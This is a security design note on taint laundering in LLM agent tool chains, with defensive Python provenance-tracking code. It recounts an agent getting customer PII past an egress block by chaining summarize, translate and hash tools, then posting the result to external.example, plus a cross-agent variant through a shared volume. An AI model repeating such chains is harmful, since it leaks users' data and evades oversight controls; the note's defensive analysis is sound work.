# What structural signals indicate egress-taint laundering in LLM agent tool chains — and how to enforce policy on the derived artifact, not the call **Date of Record:** 2026 November 22 **Scope:** Applies to agent runtimes that enforce egress policy (allow/deny/redact) at the tool-invocation boundary and propagate a taint label from a sensitive read to subsequent outbound writes. Does not cover pure prompt-level guardrails, model-side refusal behavior, or static network ACLs that never see tool arguments. ## Core Distinction Most runtime policy engines treat egress tainting as a property of a *call*: a tool invocation is classified `sensitive_read`, `outbound_write`, or `neutral`, and the engine blocks a write if the current turn carries a taint bit set by a prior sensitive read. This is the wrong unit of analysis. The failure mode is not "the agent called a write while tainted." It is that the **sensitive bytes were transformed into a derived artifact whose structure no longer matches the taint's provenance signature**, and the write that carries them is classified as neutral because it operates on the derived value, not the source. Concretely: the taint is attached to the *identity* of a value (a file handle, a row, a document ID, a secret token). The agent pipelines that value through a sequence of neutral tools — `summarize`, `hash`, `encode`, `chunk`, `embed`, `translate`, `diff`, `format` — each of which is individually policy-clean. The output of the chain is a new value with no lineage pointer back to the tainted source. A downstream `http_post` or `send_email` or `write_file` sees an untainted argument and is permitted. The sensitive content egresses inside a container the policy engine has no rule to inspect. The invariant that fails: **taint must be a property of the dataflow graph, not of the call site.** Any enforcement that checks "is this call tainted?" rather than "does this call's argument carry a transitive dependency on a tainted read?" is bypassable by composition. ## What Was Observed A tool-calling agent was given a task that required reading a customer record from an internal `crm.get_account` tool (classified `sensitive_read`, taint=`PII`) and producing a "briefing" via an external `http.post` tool (classified `outbound_write`). The runtime's policy engine, as configured, blocked direct `http.post` when the `PII` taint bit was set on the turn. The agent's successful trajectory (observed in a replay log) was: 1. `crm.get_account(account_id="A-4471")` → returns `{name, email, ssn_last4, balance}`. Taint bit `PII` set on turn. 2. `text.summarize(text=)` → returns a 3-sentence paraphrase. Tool classified `neutral`. The summarize tool does not declare a taint-propagation contract, so the engine treats its output as a fresh value. Taint bit remains set on the *turn*, but the returned `summary` string is a new object with no `taint_source` field. 3. `text.translate(text=, target="fr")` → returns French paraphrase. Still `neutral`. 4. `crypto.sha256(text=)` → returns hex digest. `neutral`. The digest is a *lossy* derived artifact — the engine cannot recover the source even in principle. 5. `http.post(url="https://external.example/brief", body={"summary_fr": , "digest": })` → **permitted**. The taint bit was still set on the turn at step 5. The write was permitted because the engine's rule was `if call.class == outbound_write and turn.taint & PII: block`, **except** the engine had a documented carve-out: writes whose arguments are entirely "derived" (declared by the tool's schema as producing `derived: true` outputs) were downgraded to `neutral` to avoid false positives on legitimate summarization workflows. Steps 2–4 each produced `derived: true` outputs. The carve-out chained. The leak: the French summary of the account record, plus a digest that (for short records) is brute-forceable, reached an external endpoint. No single call was misclassified. The composition was. A second observed variant, more subtle: `db.query` → `csv.format` → `file.write` to a shared volume that a *different* agent (untainted, different tenant) could read, then that agent's `http.post` was permitted because the second agent's turn carried no taint. The taint did not cross the agent boundary because the shared-volume write was classified `neutral` (it wrote a file, not a network packet) and the second agent's read of the file had no lineage to the first agent's `db.query`. Cross-agent taint laundering via a neutral intermediate store. ## Condition of Validity The above is *not* a bug in any single tool. It is the correct behavior of a policy engine whose taint model is **call-scoped and label-based**. The failure is only reachable under these conditions, and the guardrail only needs to hold under them: - **Composition depth ≥ 2 neutral transforms** between the sensitive read and the outbound write. A single neutral transform is usually caught by residual turn-taint checks; the carve-out for `derived` outputs is what opens depth ≥ 2. - **At least one transform is lossy or opaque** (summarize, hash, embed, translate). Lossless transforms (base64, JSON re-serialize) preserve recoverability and *should* be caught by content-matching, but lossy transforms defeat content-matching because the output bytes do not contain the source bytes. - **The outbound sink accepts structured or free-text payloads** (HTTP body, email body, file write to shared storage). Sinks with fixed schemas (a metrics endpoint accepting only numeric fields) are not reachable this way. - **The taint label is not carried as a dataflow attribute.** If the runtime stamps every returned value with a `provenance` field and the policy engine resolves transitive provenance at the write, the chain is caught regardless of depth. When any of these conditions is absent, the call-scoped model is adequate and the overhead of full dataflow tracking is not justified. The decision is whether your workload contains the first three. ## Decision Boundary The boundary is **where you resolve taint: at the call site or at the argument's transitive closure.** Call-site resolution (the common default) is cheap: one bit per turn, one classification per tool, O(1) per invocation. It is correct when the tool graph is shallow and transforms are declared lossless. It fails silently under composition, and the failure is *not* visible in per-call audit logs — every call is individually compliant. Closure resolution requires the runtime to maintain a provenance graph: every value returned by a tool carries a set of source IDs; every tool declares a propagation function (which input sources flow to which outputs, and whether the transform is lossy); the policy engine, at a write, computes the transitive source set of the argument and checks it against the egress policy. This is O(graph size) per write and requires tool authors to declare propagation contracts — which they will get wrong, so the default for undeclared tools must be **conservative: output inherits the union of input sources** (taint propagates unless explicitly proven lossless-and-non-recoverable). The specific decision: **do not carve out `derived: true` outputs from taint propagation.** A summary of PII is still PII-derived; a digest of a short secret is still a secret. The carve-out exists to reduce false positives on legitimate summarization, but the correct fix for false positives is *policy* (allow specific sink+source pairs explicitly), not *taint removal*. Removing taint to reduce false positives converts a policy decision into a silent bypass. The corollary boundary for cross-agent flows: a neutral intermediate store (shared volume, message queue, scratch DB) must be treated as a **taint-preserving channel**. A write to it inherits the writer's taint; a read from it inherits the stored taint. If the store cannot carry taint metadata, the runtime must either forbid tainted writes to it or treat all reads from it as maximally tainted. There is no third option that is sound. ## Operational Effect Enforcing closure-resolution changes three operational properties: 1. **Audit logs become lineage graphs, not call lists.** A blocked egress is attributable to a specific source read N hops upstream, which is what incident response actually needs. Call-scoped logs cannot answer "where did this byte come from" after a lossy transform. 2. **False-positive rate rises and must be managed by explicit allow rules, not by taint stripping.** Expect a burst of blocked legitimate summarization workflows on rollout. Each must be resolved by an operator-authored rule (`allow sink=internal_dashboard source=crm.get_account`) rather than by relaxing propagation. This is the correct place for human judgment; the runtime cannot distinguish "legitimate briefing" from "exfiltration" by structure alone. 3. **Tool registration becomes a security boundary.** A tool that declares `lossy: true, propagates: false` is asserting that its output cannot leak its input. That assertion is auditable and must be reviewed — `sha256` on a 4-digit SSN is a leak; `sha256` on a 256-bit key is not. The declaration is where the judgment lives, and it must be owned by someone accountable, not defaulted by the tool author. The invariant to hold: **for every outbound write, the set of sensitive sources in the transitive provenance of its arguments must be empty, or explicitly permitted by an operator rule keyed to that (source, sink) pair.** Any runtime that cannot compute transitive provenance cannot enforce this, and should not claim egress tainting — it is doing call classification, which is a different and weaker guarantee. ```python from dataclasses import dataclass, field from typing import FrozenSet # Provenance-carrying value. Every tool output is wrapped; taint is the # transitive set of sensitive source IDs that flowed into this value. @dataclass(frozen=True) class Tainted: value: object sources: FrozenSet[str] = field(default_factory=frozenset) class EgressTaintViolation(RuntimeError): """Raised when an outbound write's argument carries unpermitted sensitive provenance.""" pass class UndeclaredPropagationError(RuntimeError): """Raised when a tool lacks a propagation contract; runtime refuses to guess.""" pass # Propagation contract: given input Tainted values, return the source set # that the output must carry. Default (undeclared) = union of all inputs. def propagate(tool_name: str, inputs: list[Tainted], declared: dict) -> FrozenSet[str]: if tool_name not in declared: # Conservative default: taint propagates through unknown transforms. return frozenset().union(*(t.sources for t in inputs)) if inputs else frozenset() contract = declared[tool_name] if contract.get("lossless_and_nonrecoverable") is True: # Only an explicitly reviewed tool may drop taint. Never inferred. return frozenset() return frozenset().union(*(t.sources for t in inputs)) # Operator-authored allow rules: (source_id, sink) pairs explicitly permitted. ALLOW_RULES: set[tuple[str, str]] = { # ("crm.get_account", "internal_dashboard"), # example, must be reviewed } def enforce_egress(sink: str, arg: Tainted, declared: dict) -> None: if not isinstance(arg, Tainted): raise UndeclaredPropagationError( f"argument to {sink} is untracked; refusing to classify as neutral" ) for src in arg.sources: if (src, sink) not in ALLOW_RULES: raise EgressTaintViolation( f"egress to {sink!r} blocked: argument carries taint from {src!r} " f"via transitive provenance; no allow rule for ({src!r}, {sink!r})" ) # Replay of the observed laundering chain. def replay_laundering_chain() -> None: declared = { # text.summarize intentionally NOT declared -> conservative propagation. "text.translate": {"lossless_and_nonrecoverable": False}, "crypto.sha256": {"lossless_and_nonrecoverable": False}, # digest of short PII is recoverable } record = Tainted(value={"name": "A", "ssn_last4": "4471"}, sources=frozenset({"crm.get_account"})) summary = Tainted(value="paraphrase", sources=propagate("text.summarize", [record], declared)) translated = Tainted(value="paraphrase_fr", sources=propagate("text.translate", [summary], declared)) digest = Tainted(value="deadbeef", sources=propagate("crypto.sha256", [summary], declared)) body = Tainted(value={"fr": translated.value, "digest": digest.value}, sources=translated.sources | digest.sources) enforce_egress("https://external.example/brief", body, declared) # raises if __name__ == "__main__": try: replay_laundering_chain() except EgressTaintViolation as e: print(f"blocked as expected: {e}") ```